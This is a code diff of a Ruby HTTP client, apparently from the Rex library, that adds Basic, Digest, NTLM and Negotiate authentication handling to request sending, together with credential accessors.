# Call this directly instead of {#send_recv} if you don't want automatic
|
||||
# authentication handling.
|
||||
#
|
||||
# @return [Response]
|
||||
def _send_recv(req, t = -1, persist=false)
|
||||
@pipeline = persist
|
||||
send_request(req, t)
|
||||
res = read_response(t)
|
||||
|
@ -357,11 +408,332 @@ class Client
|
|||
#
|
||||
# Send an HTTP request to the server
|
||||
#
|
||||
# @param req [Request,#to_s] The request to send
|
||||
# @param t (see #connect)
|
||||
def send_request(req, t = -1)
|
||||
connect(t)
|
||||
conn.put(req.to_s)
|
||||
end
|
||||
|
||||
# Validates that the client has creds
|
||||
def have_creds?
|
||||
!(self.username.nil?) && self.username != ''
|
||||
end
|
||||
|
||||
#
|
||||
# Params -
|
||||
# res = The 401 response we need to auth from
|
||||
# opts = the opts used to generate the request that created this response
|
||||
# t = the timeout for the http requests
|
||||
# persist = whether to persist the tcp connection for HTTP Pipelining
|
||||
#
|
||||
# Parses the response for what Authentication methods are supported.
|
||||
# Sets the corect authorization options and passes them on to the correct
|
||||
# method for sending the next request.
|
||||
def send_auth(res, opts, t, persist)
|
||||
supported_auths = res.headers['WWW-Authenticate']
|
||||
if supported_auths.include? 'Basic'
|
||||
if opts['headers']
|
||||
opts['headers']['Authorization'] = basic_auth_header(self.username,self.password)
|
||||
else
|
||||
opts['headers'] = { 'Authorization' => basic_auth_header(self.username,self.password)}
|
||||
end
|
||||
|
||||
req = request_cgi(opts)
|
||||
res = _send_recv(req,t,persist)
|
||||
return res
|
||||
elsif supported_auths.include? "Digest"
|
||||
opts['DigestAuthUser'] = self.username.to_s
|
||||
opts['DigestAuthPassword'] = self.password.to_s
|
||||
temp_response = digest_auth(opts)
|
||||
if temp_response.kind_of? Rex::Proto::Http::Response
|
||||
res = temp_response
|
||||
end
|
||||
return res
|
||||
elsif supported_auths.include? "NTLM"
|
||||
opts['provider'] = 'NTLM'
|
||||
temp_response = negotiate_auth(opts)
|
||||
if temp_response.kind_of? Rex::Proto::Http::Response
|
||||
res = temp_response
|
||||
end
|
||||
return res
|
||||
elsif supported_auths.include? "Negotiate"
|
||||
opts['provider'] = 'Negotiate'
|
||||
temp_response = negotiate_auth(opts)
|
||||
if temp_response.kind_of? Rex::Proto::Http::Response
|
||||
res = temp_response
|
||||
end
|
||||
return res
|
||||
end
|
||||
return res
|
||||
end
|
||||
|
||||
# Converts username and password into the HTTP Basic
|
||||
# authorization string.
|
||||
def basic_auth_header(username,password)
|
||||
auth_str = username.to_s + ":" + password.to_s
|
||||
auth_str = "Basic " + Rex::Text.encode_base64(auth_str)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Opts -
|
||||
# Inherits all the same options as send_request_cgi
|
||||
# Also expects some specific opts
|
||||
# DigestAuthUser - The username for DigestAuth
|
||||
# DigestAuthPass - The password for DigestAuth
|
||||
# DigestAuthIIS - IIS uses a slighlty different implementation, set this for IIS support
|
||||
#
|
||||
# This method builds new request to complete a Digest Authentication cycle.
|
||||
# We do not persist the original connection , to clear state in preparation for our auth
|
||||
# We do persist the rest of the connection stream because Digest is a tcp session
|
||||
# based authentication method.
|
||||
#
|
||||
|
||||
def digest_auth(opts={})
|
||||
@nonce_count = 0
|
||||
|
||||
to = opts['timeout'] || 20
|
||||
|
||||
digest_user = opts['DigestAuthUser'] || ""
|
||||
digest_password = opts['DigestAuthPassword'] || ""
|
||||
|
||||
method = opts['method']
|
||||
path = opts['uri']
|
||||
iis = true
|
||||
if (opts['DigestAuthIIS'] == false or self.config['DigestAuthIIS'] == false)
|
||||
iis = false
|
||||
end
|
||||
|
||||
begin
|
||||
@nonce_count += 1
|
||||
|
||||
resp = opts['response']
|
||||
|
||||
if not resp
|
||||
# Get authentication-challenge from server, and read out parameters required
|
||||
r = request_cgi(opts.merge({
|
||||
'uri' => path,
|
||||
'method' => method }))
|
||||
resp = _send_recv(r, to)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return nil
|
||||
end
|
||||
|
||||
if resp.code != 401
|
||||
return resp
|
||||
end
|
||||
return resp unless resp.headers['WWW-Authenticate']
|
||||
end
|
||||
|
||||
# Don't anchor this regex to the beginning of string because header
|
||||
# folding makes it appear later when the server presents multiple
|
||||
# WWW-Authentication options (such as is the case with IIS configured
|
||||
# for Digest or NTLM).
|
||||
resp['www-authenticate'] =~ /Digest (.*)/
|
||||
|
||||
parameters = {}
|
||||
$1.split(/,[[:space:]]*/).each do |p|
|
||||
k, v = p.split("=", 2)
|
||||
parameters[k] = v.gsub('"', '')
|
||||
end
|
||||
|
||||
qop = parameters['qop']
|
||||
|
||||
if parameters['algorithm'] =~ /(.*?)(-sess)?$/
|
||||
algorithm = case $1
|
||||
when 'MD5' then Digest::MD5
|
||||
when 'SHA1' then Digest::SHA1
|
||||
when 'SHA2' then Digest::SHA2
|
||||
when 'SHA256' then Digest::SHA256
|
||||
when 'SHA384' then Digest::SHA384
|
||||
when 'SHA512' then Digest::SHA512
|
||||
when 'RMD160' then Digest::RMD160
|
||||
else raise Error, "unknown algorithm \"#{$1}\""
|
||||
end
|
||||
algstr = parameters["algorithm"]
|
||||
sess = $2
|
||||
else
|
||||
algorithm = Digest::MD5
|
||||
algstr = "MD5"
|
||||
sess = false
|
||||
end
|
||||
|
||||
a1 = if sess then
|
||||
[
|
||||
algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"),
|
||||
parameters['nonce'],
|
||||
@cnonce
|
||||
].join ':'
|
||||
else
|
||||
"#{digest_user}:#{parameters['realm']}:#{digest_password}"
|
||||
end
|
||||
|
||||
ha1 = algorithm.hexdigest(a1)
|
||||
ha2 = algorithm.hexdigest("#{method}:#{path}")
|
||||
|
||||
request_digest = [ha1, parameters['nonce']]
|
||||
request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop
|
||||
request_digest << ha2
|
||||
request_digest = request_digest.join ':'
|
||||
|
||||
# Same order as IE7
|
||||
auth = [
|
||||
"Digest username=\"#{digest_user}\"",
|
||||
"realm=\"#{parameters['realm']}\"",
|
||||
"nonce=\"#{parameters['nonce']}\"",
|
||||
"uri=\"#{path}\"",
|
||||
"cnonce=\"#{@cnonce}\"",
|
||||
"nc=#{'%08x' % @nonce_count}",
|
||||
"algorithm=#{algstr}",
|
||||
"response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"",
|
||||
# The spec says the qop value shouldn't be enclosed in quotes, but
|
||||
# some versions of IIS require it and Apache accepts it. Chrome
|
||||
# and Firefox both send it without quotes but IE does it this way.
|
||||
# Use the non-compliant-but-everybody-does-it to be as compatible
|
||||
# as possible by default. The user can override if they don't like
|
||||
# it.
|
||||
if qop.nil? then
|
||||
elsif iis then
|
||||
"qop=\"#{qop}\""
|
||||
else
|
||||
"qop=#{qop}"
|
||||
end,
|
||||
if parameters.key? 'opaque' then
|
||||
"opaque=\"#{parameters['opaque']}\""
|
||||
end
|
||||
].compact
|
||||
|
||||
headers ={ 'Authorization' => auth.join(', ') }
|
||||
headers.merge!(opts['headers']) if opts['headers']
|
||||
|
||||
# Send main request with authentication
|
||||
r = request_cgi(opts.merge({
|
||||
'uri' => path,
|
||||
'method' => method,
|
||||
'headers' => headers }))
|
||||
resp = _send_recv(r, to, true)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return nil
|
||||
end
|
||||
|
||||
return resp
|
||||
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Opts -
|
||||
# Inherits all the same options as send_request_cgi
|
||||
# provider - What Negotiate Provider to use (supports NTLM and Negotiate)
|
||||
#
|
||||
# Builds a series of requests to complete Negotiate Auth. Works essentially
|
||||
# the same way as Digest auth. Same pipelining concerns exist.
|
||||
#
|
||||
|
||||
def negotiate_auth(opts={})
|
||||
ntlm_options = {
|
||||
:signing => false,
|
||||
:usentlm2_session => self.config['usentlm2_session'],
|
||||
:use_ntlmv2 => self.config['use_ntlmv2'],
|
||||
:send_lm => self.config['send_lm'],
|
||||
:send_ntlm => self.config['send_ntlm']
|
||||
}
|
||||
|
||||
to = opts['timeout'] || 20
|
||||
opts['username'] ||= self.username.to_s
|
||||
opts['password'] ||= self.password.to_s
|
||||
|
||||
if opts['provider'] and opts['provider'].include? 'Negotiate'
|
||||
provider = "Negotiate "
|
||||
else
|
||||
provider = 'NTLM '
|
||||
end
|
||||
|
||||
opts['method']||= 'GET'
|
||||
opts['headers']||= {}
|
||||
|
||||
ntlmssp_flags = ::Rex::Proto::NTLM::Utils.make_ntlm_flags(ntlm_options)
|
||||
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
|
||||
domain_name = self.config['domain']
|
||||
|
||||
b64_blob = Rex::Text::encode_base64(
|
||||
::Rex::Proto::NTLM::Utils::make_ntlmssp_blob_init(
|
||||
domain_name,
|
||||
workstation_name,
|
||||
ntlmssp_flags
|
||||
))
|
||||
|
||||
ntlm_message_1 = provider + b64_blob
|
||||
|
||||
begin
|
||||
# First request to get the challenge
|
||||
opts['headers']['Authorization'] = ntlm_message_1
|
||||
r = request_cgi(opts)
|
||||
resp = _send_recv(r, to)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return nil
|
||||
end
|
||||
|
||||
return resp unless resp.code == 401 && resp.headers['WWW-Authenticate']
|
||||
|
||||
# Get the challenge and craft the response
|
||||
ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/i).flatten[0]
|
||||
return resp unless ntlm_challenge
|
||||
|
||||
ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge)
|
||||
blob_data = ::Rex::Proto::NTLM::Utils.parse_ntlm_type_2_blob(ntlm_message_2)
|
||||
|
||||
challenge_key = blob_data[:challenge_key]
|
||||
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
|
||||
default_name = blob_data[:default_name] || '' #netbios name
|
||||
default_domain = blob_data[:default_domain] || '' #netbios domain
|
||||
dns_host_name = blob_data[:dns_host_name] || '' #dns name
|
||||
dns_domain_name = blob_data[:dns_domain_name] || '' #dns domain
|
||||
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' #Client time
|
||||
|
||||
spnopt = {:use_spn => self.config['SendSPN'], :name => self.hostname}
|
||||
|
||||
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = ::Rex::Proto::NTLM::Utils.create_lm_ntlm_responses(
|
||||
opts['username'],
|
||||
opts['password'],
|
||||
challenge_key,
|
||||
domain_name,
|
||||
default_name,
|
||||
default_domain,
|
||||
dns_host_name,
|
||||
dns_domain_name,
|
||||
chall_MsvAvTimestamp,
|
||||
spnopt,
|
||||
ntlm_options
|
||||
)
|
||||
|
||||
ntlm_message_3 = ::Rex::Proto::NTLM::Utils.make_ntlmssp_blob_auth(
|
||||
domain_name,
|
||||
workstation_name,
|
||||
opts['username'],
|
||||
resp_lm,
|
||||
resp_ntlm,
|
||||
'',
|
||||
ntlmssp_flags
|
||||
)
|
||||
|
||||
ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3)
|
||||
|
||||
# Send the response
|
||||
opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3}"
|
||||
r = request_cgi(opts)
|
||||
resp = _send_recv(r, to, true)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
return nil
|
||||
end
|
||||
return resp
|
||||
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
return nil
|
||||
end
|
||||
end
|
||||
#
|
||||
# Read a response from the server
|
||||
#
|
||||
|
@ -839,6 +1211,9 @@ class Client
|
|||
#
|
||||
attr_accessor :proxies
|
||||
|
||||
# Auth
|
||||
attr_accessor :username, :password
|
||||
|
||||
|
||||
# When parsing the request, thunk off the first response from the server, since junk
|
||||
attr_accessor :junk_pipeline
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue